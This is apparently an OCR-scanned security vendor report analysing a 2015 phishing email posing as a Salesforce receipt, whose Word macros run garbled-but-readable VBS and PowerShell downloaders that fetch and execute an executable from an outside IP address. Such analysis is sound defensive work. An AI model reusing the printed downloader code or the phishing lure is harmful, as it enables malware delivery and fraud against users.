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ThreatScape:
Analyzing An Unsophisticated Yet Highly Effective
Threat

On the morning of February 16, 2015, a Dynetics customer received an email confirming their recent
credit card transaction. This was a phishing email that slipped by the customer’s spam filter and could
have caused significant damages in time spent to clean up and determine what other systems were
affected if the malware was able to run.

However, because of the layered defense established on the customer’s network by Dynetics, this
customer was never at any risk of compromise. Additionally, because of comprehensive logging, this
threat was not only prevented, the threat was also alerted on for immediate response and remediation.

The Attack

Below is an explanation of how this simple yet effective attack unfolds.

1. The user receives a phishing email that includes a malicious Word document. Most reports show
that over 90% of all modern attacks start with a phishing email:

& Payment confirmation - credit card charged - |EI|5|
J File Edit View Tools Message Help | ﬁ-"
g & v | - X | O Q| W
Reply Reply Al Forward Print Delete Presyinus [k Addresses
From: Salesforce.com
Date: Monday, February 16, 2015 9:04 AM

To:
Subject:  Payment confirmation - credit card charged
Attach: | sf_trans_7a9104&.doc (66,1 KE)

Dear user,

Thank you for purchasing Salesforce Petformance Plus plan,
This message iz a confirmation that vour credit card has been charged.

=ervice . Salesforce Performance Plus
Date : 16/2/2015

Amount : 1600 TISD

Transaction # : 78310482

For more mformation regarding this payment, please check the attached merchant receipt.

Mote: Thiz paytnent will appear on your statement as "SalesForce ATTH #7891045"

Thank you.

Figure 1 Original Phishing Email
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2. While this phishing email is obviously not from SalesForce (the below picture is of the actual
email headers), bad actors are also using more reputable email addresses from Google Mail to
bypass spam filtering:

H-Aa3G-Debug-ID: 1424102555 cS0001-FDanfh
Received: from HQATEEBCON
Feh 2015 10:02:42 -0600

with E3HNT

X-Barracuda-Lpparent-Source-1F: . . .
Meagsage-ID: <N9MSVOWP.Z209403580 resdat . coms>
Date: Mon, 16 Fek 2015 16:04:16 40100
From: "3alesforce.com” <no-replylizalesforce.com:

User-Agent: Mozilla/S.0 (Windows NT 6.1; rv:iZ4.0) Gecko/Z0100101 Thunderbird/z4.2.0
MIME-Version: 1.0

To:

Subject: Pavient confirmation - credit card charged

Figure 2 Phishing Email Headers

3. Once the attached Word document is opened, a user is prompted to run Macros to correctly view
the document. Running the macro is actually how the user will be infected.

E] E - sf_trans_7891048 [Compatibility Mode] - Waord
FILE HOME IMNSERT DESIGMN PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW
alln e a— [
D Calibri w12 - A A Al & Helh g = A E-L T AaBbCcDe AaBbccDe AaBbC AaBbCi AaBbC ¢
Pavste % Format Painter B I U ~ak X, X° w.A- =E=E== I=- TNormal = TMoSpac.. Headingl Heading2 Title
# i Paragraph P Styles
| SECURITY WARNING Macros have been disabled. Enable Content

—

If you document have incorrect encoding - enable macro

AU™ @™ @ 0¢AUULUTUF3 PKOYAEEND TiyuTg)zSAE[-BEPE N}- H:"d™AP<>-g 1O @E12R)E]
Q
JEp W — I }
T~ceefly~E"Q_@Ni@|Eutls @Vfilv [T26" 6,00y IRDIHE @fie 0" VEJAETAS™S yE=" M VEE+VA,Y,
lyeg” FEASTTEN"

Figure 3 Malicious Word Document
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4. The document has several macros embedded. Depending on which version of Windows is
detected, either a Visual Basic script (VBS) or PowerShell (PS) script is executed that attempts to
download a malicious executable from hxxp://91.220.131.28/upd2/install.exe and save it as
C:\windows\temp\444.exe.

strRT = "htkpif 21,220,131, 28 /upd2/install, exe”
jfeuwag = "4.8"+"xe"

strTecation = "oiiWwindowsi Tempid4 +ifeuyoq
khdfu ="M"+"95"+"MLZ o+ MLH "+ T+ T+ Chi (800
Set objeMLHTTP = CreateCbject(khdfu)
objXMLHTTR. open "GET", strRT, False

objsMLHTTR, sendi)

If objeMLHTTP. Status = 200 Then

uwghda = "aD0DE,"

Set objaDioStream = CreateCbjeck{uwghda+ZhriSgni-4)+84)+"tream™)
abiaDOSkreann, Open

objaDOSkream, Type = 1

objaDoskream. Write objxMLHTTP.ResponseBody
objisDOSkream, Position = 0

objisDOSkream, SaveToFile strTecation
objabostream. Close

Set objADOSkream = MNathing

End if

Set abj¥MLHTTP = Maothing

Sek objshell = CreateCbieck"WScript, Shell)

Figure 4 VisualBasic Script

$down = Mew-Cbject System. Met. WebClient;

furl = 'htkp: /91,220,131, 25/updzfinstall, exe';

#file = 'ci\Usersi\i apphatailocali Templ 444, exe';

$£down. headers['User-Agent'] = 'Mazillafs.0 (Macinkash; Inkel Mac 05 ¥ 10_10) AppletWebkitia0n, 1,25 (KHTML, like Gecka)
Wersion/d,0 Safarifa0n. 1,25'4";

$dovan, DownloadFiled$url, $File);

$£3criptDir = $MyInvocation, Scripthlame;

tsomeFilePath = 'ciUserstAppDataiLocali Templd 44 exe’;

$ubsFilePath = 'c:i\Users)\AppLatatLocali Templadobeacd-update'+'.'+"'+'bs';
thatFilePath = 'c:\Userst) dppDatailocali Templadobeacd-update'+','+'b'+'at';
$psFilePath = 'c:iUsers)\apphataiLocal Templadobeacd-update'+ +'p'+'s1";
Stark-Sleep -5 15;

cmd.exe fo ‘ciilsersiiappDatallocal Templ 444, exe’;

#filel = gci $vbsFilePath -Force

$filez = aci $batFilePath -Faorce

$file3 = gci $psFilePath -Faorce

If {Test-Path $vbsFilePath){ Remove-Tkem $vbsFilePath

If (Test-Path $batFilePath){ Remove-Item $hatFilePath *

$phuesHewkjelflo = kgwhefuibwekf aisdjhigowhdig';

If (Test-Path $someFilePath){ Remave-Tkem $someFilePath +

Remove-Tkem $MyINyvocation, Invocationhanme

Figure 5 PowerShell Script
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5. If either script is successfully run, the install.exe file is downloaded, saved locally as 444.exe, and
executed. Unfortunately, at the time of this writing, only 1 of 57 Anti-Virus vendors recognized this
as a malicious file:

& https://www.virustotal.com/en/file/eaf850adb076e7e18cl34ea8leea5Sh43fd11c009ed01b5a914958074b8dd2194/analy

# Community Statistics Documentation FAQ About ™ English Join our community Sign in

2 total

SHAZEE: eafdsladh076e7e18c134ea81 eeabhd3fd110009ed01b5a91495807 4b8dd2194 h
File name: install.exe -
Detection ratio: 1 /57 .r 1 0

Analysis date: 2015-02-16 §7:40:08 UTC (1 hour, 10 minutes ago ) View latest

= Analysis @, File detail @ Additional information ® Comments o Y otes fH Behavioural information

Antivirus Result Update

Kaspersky UDS:DangerousOhject. Multi. Generic 20150216
AlLYac ] 20150216
AVG ] 20150216
Alware ] 20150216
Ad-Aware ] 20150216

Figure 6 VirusTotal Results

Summary

Because no form of defense is always 100% effective, Dynetics always encourages customers to focus
on defense-in-depth, combining multiple defensive approaches such as application whitelisting, disabling
of running untrusted macros, and egress filtering that can help prevent attacks like this one from being
successful.

Dynetics helped this customer avoid compromise with a combination of proactive and defensive
techniques that work in almost any environment.
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